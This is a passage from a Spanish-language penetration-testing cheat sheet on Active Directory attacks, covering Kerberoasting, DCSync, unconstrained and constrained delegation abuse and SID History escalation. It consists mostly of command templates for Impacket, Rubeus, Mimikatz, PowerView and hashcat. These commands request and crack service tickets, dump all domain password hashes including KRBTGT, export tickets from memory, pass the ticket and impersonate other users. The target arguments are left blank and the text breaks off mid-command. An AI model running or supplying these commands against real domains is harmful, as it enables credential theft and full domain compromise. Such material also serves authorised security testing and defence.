Obtener Ticket Granting Service (TGS). ```shell GetUserSPNs.py -dc-ip / -request GetUserSPNs.py -dc-ip / -request -outputfile tgs.txt ``` Obtener Ticket Granting Service (TGS) de una cuenta. ```shell GetUserSPNs.py -dc-ip / -request-user GetUserSPNs.py -dc-ip / -request-user -outputfile tgs-user.txt ``` ### Hashcat Cracking de Ticket Granting Service (TGS). #### RC4 ```shell # $krb5tgs$23$ hashcat -m 13100 tgs.txt hashcat -m 13100 tgs.txt --show ``` #### AES-128 ```shell # $krb5tgs$17$ hashcat -m 19600 tgs.txt hashcat -m 19600 tgs.txt --show ``` #### AES-256 ```shell # $krb5tgs$18$ hashcat -m 19700 tgs.txt hashcat -m 19700 tgs.txt --show ``` ## Windows ### Método manual Obtener cuentas Service Principal Names (SPN). ```shell setspn.exe -Q */* ``` Obtener Ticket Granting Service (TGS) y cargar en memoria. ```powershell # Obtener Ticket Granting Service (TGS) de una cuenta Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "" # Obtener Ticket Granting Service (TGS) de todas las cuentas Add-Type -AssemblyName System.IdentityModel setspn.exe -T -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } ``` Extraer Ticket Granting Service (TGS) desde memoria con Mimikatz. ```shell .\mimikatz.exe base64 /out:true kerberos::list /export ``` Preparación de Ticket Granting Service (TGS) para cracking. ```shell echo "" | tr -d \\n | base64 -d > tgs-user.kirbi kirbi2john tgs-user.kirbi sed 's/\$krb5tgs\$$.*$:$.*$/\$krb5tgs\$23\$\*\1\*\$\2/' tgs-user.kirbi > tgs-user-hashcat.txt ``` ### Módulo ActiveDirectory PowerShell Obtener cuentas Service Principal Names (SPN). ```powershell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` Obtener Ticket Granting Service (TGS) de una cuenta. ```powershell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "" klist ``` Exportar todos los Ticket Granting Service (TGS) con Invoke-Mimikatz. ```powershell Invoke-Mimikatz -Command '"kerberos::list /export"' ``` Cracking de Ticket Granting Service (TGS). ```shell python.exe .\tgsrepcrack.py .\ .\ ``` ### PowerView Obtener cuentas Service Principal Names (SPN). ```powershell Get-DomainUser * -SPN | select SamAccountName ``` Obtener Ticket Granting Service (TGS) de una cuenta. ```powershell Get-DomainUser -Identity | Get-DomainSPNTicket -Format Hashcat ``` Obtener Ticket Granting Service (TGS) de todas las cuentas y guardar en archivo. ```powershell Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation ``` ### Rubeus Obtener estadísticas de usuarios. ```shell .\Rubeus.exe kerberoast /stats ``` Obtener Ticket Granting Service (TGS). ```shell .\Rubeus.exe kerberoast /nowrap .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap ``` Obtener Ticket Granting Service (TGS) de una cuenta. ```shell .\Rubeus.exe kerberoast /user: /nowrap ``` Obtener Ticket Granting Service (TGS) con cifrado RC4 para una cuenta. ```shell .\Rubeus.exe kerberoast /tgtdeleg /user: /nowrap ``` # DCSync ## Descripción Para realizar un ataque de DCSync se debe tener control sobre una cuenta que tenga privilegios para realizar replicación de dominio: * Replicating Directory Changes * Replicating Directory Changes All Los administradores de dominio tienen este privilegio de forma predeterminada. ## Verificar privilegios de replicación de dominio Verificación de privilegios de replicación de dominio para un usuario. ```powershell # PowerView $sid = Convert-NameToSid Get-ObjectAcl "DC=ACME,DC=LOCAL" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | Select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl ``` ## Almacenamiento de contraseña de cifrado reversible ### Módulo ActiveDirectory PowerShell ```powershell Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl ``` ### PowerView ```powershell Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | Select SamAccountName, UserAccountControl ``` ## Impacket Obtención de todos los hashes del dominio. ```shell secretsdump.py -outputfile hashes.txt -just-dc /@ ``` Obtención de hashes de un usuario del dominio. ```shell secretsdump.py -outputfile hashes.txt -just-dc /@ -just-dc-user -pwd-last-set -user-status -history ``` ## Mimikatz Obtención de hashes de un usuario del dominio. ```shell .\mimikatz.exe lsadump::dcsync /user:\ # Usuario KRBTGT lsadump::dcsync /user:\krbtgt ``` ## Invoke-Mimikatz Obtención de hashes de un usuario del dominio. ```powershell # Usuario Invoke-Mimikatz -Command '"lsadump::dcsync /user:\"' # Usuario KRBTGT Invoke-Mimikatz -Command '"lsadump::dcsync /user:\krbtgt"' ``` # Unconstrained delegation ## Descripción La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red. Unconstrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio. El controlador de dominio coloca el TGT (Ticket Granting Ticket) del usuario dentro del TGS (Ticket Granting Service) solicitado por él. Cuando el TGS se presenta al servidor que tiene el privilegio de unconstrained delegation este extrae el TGT del usuario desde el TGS y el servidor almacena en su memoria el TGT. De esta forma, el servidor puede reutilizar el TGT del usuario para acceder a cualquier otro recurso como el usuario. Un atacante con acceso al servidor podría volcar todos los TGT de los usuarios que se encuentren almacenados en la memoria del servidor. ## Windows 1\) Obtener servidores con privilegio de unconstrained delegation. ```powershell # PowerView Get-DomainComputer -Unconstrained | Select -ExpandProperty Name # Módulo ActiveDirectory PowerShell Get-ADComputer -Filter {TrustedForDelegation -eq $True} ``` 2\) Acceso a servidor con privilegio de unconstrained delegation y obtención de TGT (Ticket Granting Ticket) almacenados en memoria. ```powershell $session = New-PSSession -ComputerName Invoke-Command -FilePath C:\\Invoke-Mimikatz.ps1 -Session $session Enter-PSSession -Session $session Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' ``` 3\) Realización de Pass the Ticket (PtT). ```powershell Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' Invoke-Command -ComputerName -ScriptBlock {hostname; whoami; ipconfig} ``` # Constrained delegation ## Descripción La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red. Constrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio. Cuando se establece en una cuenta ocurre que: * El atributo UserAccountControl para el objeto se actualiza con el indicador `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`. * El atributo `msDS-AllowedToDelegateTo` se completa con los servicios específicos (SPN) que se pueden acceder (lista de delegación permitida) en nombre de otro usuario. Al comprometer una cuenta de usuario con privilegios de constrained delegation es posible solicitar TGS (Ticket Granting Service) en nombre de otros usuarios del dominio. ## Windows 1\) Obtener usuarios y servidores con privilegios de constrained delegation. ```powershell # PowerView # enumeración de usuarios Get-DomainUser –TrustedToAuth Get-DomainUser –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl # enumeración de servidores Get-DomainComputer –TrustedToAuth Get-DomainComputer –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl ``` 2\) Obtención de TGT (Ticket Granting Ticket) de cuenta comprometida. ```shell .\Rubeus.exe asktgt /user: /domain: /rc4: /outfile:tgt.kirbi ``` 3\) Obtención de TGS (Ticket Granting Service) para un servicio específico permitido en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT). ```shell .\Rubeus.exe s4u /ticket: /impersonateuser: /msdsspn:"" /ptt ``` 4\) Obtención de TGS (Ticket Granting Service) para un servicio específico alternativo (no permitido) en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT). ```shell .\Rubeus.exe s4u /ticket: /impersonateuser: /msdsspn:"" /altservice: /ptt ``` # Kerberoast ## Linux/Unix ### Impacket Obtener cuentas Service Principal Names (SPN) del dominio objetivo. ```shell GetUserSPNs.py -target-domain / ``` Obtener Ticket Granting Service (TGS) del dominio objetivo. ```shell GetUserSPNs.py -target-domain / -request GetUserSPNs.py -target-domain / -request -outputfile tgs.txt ``` Obtener Ticket Granting Service (TGS) de una cuenta en el dominio objetivo. ```shell GetUserSPNs.py -target-domain / -request-user GetUserSPNs.py -target-domain / -request-user -outputfile tg ``` ## Windows ### PowerView Obtener cuentas Service Principal Names (SPN) del dominio objetivo. ```powershell Get-DomainUser -SPN -Domain | select SamAccountName ``` Enumeración de grupos a los cuales pertence la cuenta Service Principal Names (SPN) en el dominio objetivo. ```powershell Get-DomainUser -Domain -Identity | select SamAccountName, MemberOf ``` ### Rubeus Obtener estadísticas de usuarios del dominio objetivo. ```shell .\Rubeus.exe kerberoast /domain: /stats ``` Obtener Ticket Granting Service (TGS) del dominio objetivo. ```shell .\Rubeus.exe kerberoast /domain: /nowrap .\Rubeus.exe kerberoast /domain: /ldapfilter:'admincount=1' /nowrap ``` Obtener Ticket Granting Service (TGS) de una cuenta en el dominio objetivo. ```shell .\Rubeus.exe kerberoast /domain: /user: /nowrap ``` # Foreign group membership ## Descripción Enumeración de grupos con usuarios que no pertenecen al dominio. ## Windows ### PowerView Obtener grupos con usuarios que no pertecencen al dominio en el dominio objetivo. ```powershell Get-DomainForeignGroupMember -Domain ``` Obtener cuenta de usuario a partir del SID. ```powershell Convert-SidToName ``` ### Windows Remote Management (WinRM) #### PowerShell remoting ```powershell Enter-PSSession -ComputerName -Credential \ ``` # SID History ## Descripción Este ataque permite el compromiso de un dominio principal una vez que el dominio secundario ha sido comprometido. Dentro de un mismo bosque de Active Directory, la propiedad `sIDHistory` se respeta cuando no existe la protección de filtrado SID, por lo tanto, si un usuario en un dominio secundario tiene en su `sIDHistory` establecido el grupo Enterprise Admins (que solo existe en el dominio principal), se lo trata como miembro de este grupo, lo que permite el acceso administrativo a todo el bosque. Es decir, podemos crear un Golden Ticket desde el dominio secundario comprometido para comprometer el dominio principal. ## Linux/Unix 1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Impacket (secretsdump). ```shell # impacket-secretsdump secretsdump.py /:""@ -just-dc-user \krbtgt ``` 2\) Obtención de SID del dominio secundario utilizando Impacket (lookupsid). ```shell # impacket-lookupsid lookupsid.py /:""@